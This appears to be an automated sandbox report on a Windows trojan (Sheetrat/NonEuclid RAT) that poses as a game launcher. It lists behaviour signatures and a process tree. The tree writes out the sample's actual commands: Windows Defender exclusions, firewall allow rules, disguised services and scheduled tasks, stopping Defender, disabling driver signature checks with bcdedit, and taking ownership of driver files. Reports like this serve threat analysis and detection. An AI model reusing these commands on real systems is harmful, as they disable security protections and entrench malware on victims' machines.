Analysis
- user interaction
yes - max time kernel
117s - max time network
157s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
19/08/2026, 11:00
General
- Target NewLauncher-2.0.9-windows-x64.exe
- Size 101.4MB
- Sample260819-m4ajcssdre
- SHA256 e01045fc1bfecf3957302fd8c1101ba6110b50c25ac51ba292f9d5c56f8f61f1
Score
10/10
Malware Config
Signatures
- Family: Sheetrat, NonEuclid rat
Sheetrat aka NonEuclid RAT is a trojan written in C#.
- Detects Sheetrat Payload 22 IoCs
Sheetrat aka NonEuclid RAT is a trojan written in C#.
- Modifies WinLogon for persistence 2 TTPs 1 IoCs
- Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 3 IoCs
- Modifies Windows Defender TamperProtection settings 3 TTPs 3 IoCs
- UAC bypass 3 TTPs 12 IoCs
- Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 64 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Drops file in Drivers directory 18 IoCs
- Modifies Windows Firewall 2 TTPs 3 IoCs
- Possible privilege escalation attempt 33 IoCs
- Checks computer location settings 2 TTPs 35 IoCs
Looks up country code configured in the registry, likely geofence.
- Creates new service(s) 2 TTPs
- Executes dropped EXE 38 IoCs
- Loads dropped DLL 31 IoCs
- Modifies file permissions 1 TTPs 33 IoCs
- Registers new Windows logon scripts automatically executed at logon. 1 TTPs 2 IoCs
- Stops running service(s) 4 TTPs
- Windows security modification 2 TTPs 3 IoCs
- Checks whether UAC is enabled 1 TTPs 6 IoCs
- Enumerates connected drives 3 TTPs 64 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
- Looks up external IP address via web service 1 TTPs 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Drops file in System32 directory 2 IoCs
- Drops file in Windows directory 4 IoCs
- Launches sc.exe 11 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 9 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
- Executes a command shell one-liner 1 TTPs 16 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Checks processor information in registry 2 TTPs 4 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 2 IoCs
- Modifies data under HKEY_USERS 2 IoCs
- Modifies registry class 6 IoCs
- Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 29 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 2 IoCs
- Suspicious use of SendNotifyMessage 1 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- System policy modification 1 TTPs 18 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"C:\Users\Admin\AppData\Local\Temp\NewLauncher-2.0.9-windows-x64.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe'2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"2⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies Windows Defender TamperProtection settings
- UAC bypass
- Drops file in Drivers directory
- Checks computer location settings
- Executes dropped EXE
- Registers new Windows logon scripts automatically executed at logon.
- Windows security modification
- Checks whether UAC is enabled
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /C netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe" enable=yes & exit3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe" enable=yes4⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" E: /S3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete "WindowsUpdaterDefenderMicrosoft"3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" create "WindowsUpdaterDefenderMicrosoft" binPath= "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe" start= auto DisplayName= "WindowsUpdaterDefenderMicrosoft"3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" start "WindowsUpdaterDefenderMicrosoft"3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" E: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" F: /S3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" F: /D3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" G: /S3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" G: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" H: /S3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" H: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" I: /S3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" I: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" J: /S3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" J: /D3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" K: /S3⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Delete /TN "NvProfileUpdaterDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_de7552e2" /F3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32\BootFiles\BootExecutor.exe' -ErrorAction SilentlyContinue"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Create /TN "NvProfileUpdaterDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_de7552e2" /XML "C:\Users\Admin\AppData\Local\Temp\f26e27d1-6cee-4e7c-8256-4b04e9e0c332.xml" /F3⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe' -ErrorAction SilentlyContinue"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Delete /TN "Adobe Acrobat Update Task_d14b59f0" /F3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" K: /D3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" L: /S3⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Create /TN "Adobe Acrobat Update Task_d14b59f0" /XML "C:\Users\Admin\AppData\Local\Temp\457c56d4-364f-4728-9e1a-197c071c926d.xml" /F3⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Speech_OneCore\Engines\TTS\ru-RU' -ErrorAction SilentlyContinue"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32\BootFiles' -ErrorAction SilentlyContinue"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Delete /TN "Microsoft Compatibility Appraiser_3e7982e4" /F3⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Create /TN "Microsoft Compatibility Appraiser_3e7982e4" /XML "C:\Users\Admin\AppData\Local\Temp\c92fe91e-1347-45ae-bbd7-4bf8485fe545.xml" /F3⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\' -ErrorAction SilentlyContinue"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Delete /TN "Microsoft Compatibility Appraiser_360a7a9a" /F3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" L: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Create /TN "Microsoft Compatibility Appraiser_360a7a9a" /XML "C:\Users\Admin\AppData\Local\Temp\ab3d1db4-d73a-41ab-9eec-b2649bc5a475.xml" /F3⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" M: /S3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'BootExecutor.exe' -ErrorAction SilentlyContinue"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Delete /TN "FamilySafetyMonitor_e1e4f065" /F3⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Create /TN "FamilySafetyMonitor_e1e4f065" /XML "C:\Users\Admin\AppData\Local\Temp\faaf2af0-a1ad-4214-a812-c3d66760bfc9.xml" /F3⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'M1004NUS.exe' -ErrorAction SilentlyContinue"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Delete /TN "GoogleUpdateTaskMachineCore_a4bc7b41" /F3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'MicrosoftEdgeUpdate.exe' -ErrorAction SilentlyContinue"3⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Create /TN "GoogleUpdateTaskMachineCore_a4bc7b41" /XML "C:\Users\Admin\AppData\Local\Temp\1c429984-9d44-4818-8b5b-cef457754eb5.xml" /F3⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" M: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" N: /S3⤵
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c schtasks /create /f /sc minute /mo 15 /tn "MicrosoftEdgeUpdate" /tr "C:\Windows\System32\BootFiles\BootExecutor.exe" /RL HIGHEST & exit3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc minute /mo 15 /tn "MicrosoftEdgeUpdate" /tr "C:\Windows\System32\BootFiles\BootExecutor.exe" /RL HIGHEST4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc" start TrustedInstaller3⤵
- Launches sc.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe' -ErrorAction SilentlyContinue"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32\BootFiles\BootExecutor.exe' -ErrorAction SilentlyContinue"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" N: /D3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" O: /S3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Speech_OneCore\Engines\TTS\ru-RU' -ErrorAction SilentlyContinue"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\net.exe"net" stop WinDefend3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop WinDefend4⤵
-
-
-
C:\Windows\SYSTEM32\net.exe"net" start WinDefend3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start WinDefend4⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32\BootFiles' -ErrorAction SilentlyContinue"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\' -ErrorAction SilentlyContinue"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'M1004NUS.exe' -ErrorAction SilentlyContinue"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" O: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'BootExecutor.exe' -ErrorAction SilentlyContinue"3⤵
- Command and Scripting Interpreter: PowerShell
- Loads dropped DLL
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" P: /S3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'MicrosoftEdgeUpdate.exe' -ErrorAction SilentlyContinue"3⤵
- Command and Scripting Interpreter: PowerShell
- Loads dropped DLL
-
-
C:\Windows\SYSTEM32\bcdedit.exe"bcdedit" /set testsigning on3⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\SYSTEM32\bcdedit.exe"bcdedit" /set nointegritychecks on3⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\null.sys" /grant administrators:F /t /c3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\takeown.exe"takeown" /f "C:\Windows\system32\drivers\null.sys" /a3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\null.sys" /grant administrators:F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\beep.sys" /grant administrators:F /t /c3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\takeown.exe"takeown" /f "C:\Windows\system32\drivers\beep.sys" /a3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\beep.sys" /grant administrators:F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\rasl2tp.sys" /grant administrators:F /t /c3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\takeown.exe"takeown" /f "C:\Windows\system32\drivers\rasl2tp.sys" /a3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\rasl2tp.sys" /grant administrators:F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:\Windows\system32\drivers\raspppoe.sys" /grant administrators:F /t /c3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" P: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\takeown.exe"takeown" /f "C:\Windows\system32\drivers\raspppoe.sys" /a3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" Q: /S3⤵
-
-
C:\Windows\SYSTEM32\CMD.exe"CMD" netsh advfirewall firewall add rule name="WindowsControl" dir=in action=allow program="C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" enable=yes & exit3⤵
- Loads dropped DLL
-
-
C:\Windows\SYSTEM32\CMD.exe"CMD" /c schtasks /delete /F /TN "MicrosoftEdgeUpdate" & exit3⤵
- Executes a command shell one-liner
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
C:\Windows\system32\schtasks.exeschtasks /delete /F /TN "MicrosoftEdgeUpdate"4⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c schtasks /create /f /tn "MicrosoftEdgeUpdate_OnLock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onlock /rl highest /ru "Admin" /desc "Windows component maintenance" & exit3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /create /f /tn "MicrosoftEdgeUpdate_OnLock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onlock /rl highest /ru "Admin" /desc "Windows component maintenance"4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c schtasks /create /f /tn "MicrosoftEdgeUpdate_OnUnlock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onunlock /rl highest /ru "Admin" /desc "Windows component maintenance" & exit3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /create /f /tn "MicrosoftEdgeUpdate_OnUnlock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onunlock /rl highest /ru "Admin" /desc "Windows component maintenance"4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c schtasks /create /f /tn "MicrosoftEdgeUpdate_OnIdle" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onidle /i 5 /rl highest /ru "Admin" /desc "Windows component maintenance" & exit3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /create /f /tn "MicrosoftEdgeUpdate_OnIdle" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onidle /i 5 /rl highest /ru "Admin" /desc "Windows component maintenance"4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c schtasks /create /f /tn "MicrosoftEdgeUpdate_Evt4624" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onevent /ec Security /mo "*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and EventID=4624]]" /rl highest /ru "Admin" /desc "Windows component maintenance" & exit3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /create /f /tn "MicrosoftEdgeUpdate_Evt4624" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onevent /ec Security /mo "*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and EventID=4624]]" /rl highest /ru "Admin" /desc "Windows component maintenance"4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe"C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe"3⤵
- Modifies WinLogon for persistence
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies Windows Defender TamperProtection settings
- UAC bypass
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Registers new Windows logon scripts automatically executed at logon.
- Windows security modification
- Checks whether UAC is enabled
- Drops file in Windows directory
- System policy modification
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" E: /S4⤵
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /C netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" enable=yes & exit4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" enable=yes5⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete "WindowsUpdaterDefenderMicrosoft"4⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" create "WindowsUpdaterDefenderMicrosoft" binPath= "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" start= auto DisplayName= "WindowsUpdaterDefenderMicrosoft"4⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" start "WindowsUpdaterDefenderMicrosoft"4⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Delete /TN "MicrosoftEdgeUpdateTaskMachineCore_f82176e6" /F4⤵
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c schtasks /create /f /sc minute /mo 13 /tn "MicrosoftEdgeUpdate" /tr "C:\Windows\System32\BootFiles\BootExecutor.exe" /RL HIGHEST & exit4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc minute /mo 13 /tn "MicrosoftEdgeUpdate" /tr "C:\Windows\System32\BootFiles\BootExecutor.exe" /RL HIGHEST5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Create /TN "MicrosoftEdgeUpdateTaskMachineCore_f82176e6" /XML "C:\Users\Admin\AppData\Local\Temp\23fbba25-6476-42ae-9a6b-8559978a3639.xml" /F4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\sc.exe"sc" start TrustedInstaller4⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\CMD.exe"CMD" /c schtasks /delete /F /TN "MicrosoftEdgeUpdate" & exit4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /delete /F /TN "MicrosoftEdgeUpdate"5⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c schtasks /create /f /tn "MicrosoftEdgeUpdate_OnLock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onlock /rl highest /ru "Admin" /desc "Windows component maintenance" & exit4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /create /f /tn "MicrosoftEdgeUpdate_OnLock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onlock /rl highest /ru "Admin" /desc "Windows component maintenance"5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c schtasks /create /f /tn "MicrosoftEdgeUpdate_OnUnlock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onunlock /rl highest /ru "Admin" /desc "Windows component maintenance" & exit4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /create /f /tn "MicrosoftEdgeUpdate_OnUnlock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onunlock /rl highest /ru "Admin" /desc "Windows component maintenance"5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c schtasks /create /f /tn "MicrosoftEdgeUpdate_OnIdle" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onidle /i 5 /rl highest /ru "Admin" /desc "Windows component maintenance" & exit4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /create /f /tn "MicrosoftEdgeUpdate_OnIdle" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onidle /i 5 /rl highest /ru "Admin" /desc "Windows component maintenance"5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c schtasks /create /f /tn "MicrosoftEdgeUpdate_Evt4624" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onevent /ec Security /mo "*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and EventID=4624]]" /rl highest /ru "Admin" /desc "Windows component maintenance" & exit4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /create /f /tn "MicrosoftEdgeUpdate_Evt4624" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onevent /ec Security /mo "*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and EventID=4624]]" /rl highest /ru "Admin" /desc "Windows component maintenance"5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" E: /D4⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\%System32%\System32\BootFiles\Boot.exe' -ErrorAction SilentlyContinue"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Delete /TN "OneDrive Standalone Update Task_05814915" /F4⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" F: /S4⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Create /TN "OneDrive Standalone Update Task_05814915" /XML "C:\Users\Admin\AppData\Local\Temp\7974f936-0992-4896-b8b8-e7fad5301863.xml" /F4⤵
- Scheduled Task/Job: Scheduled Task
-
-
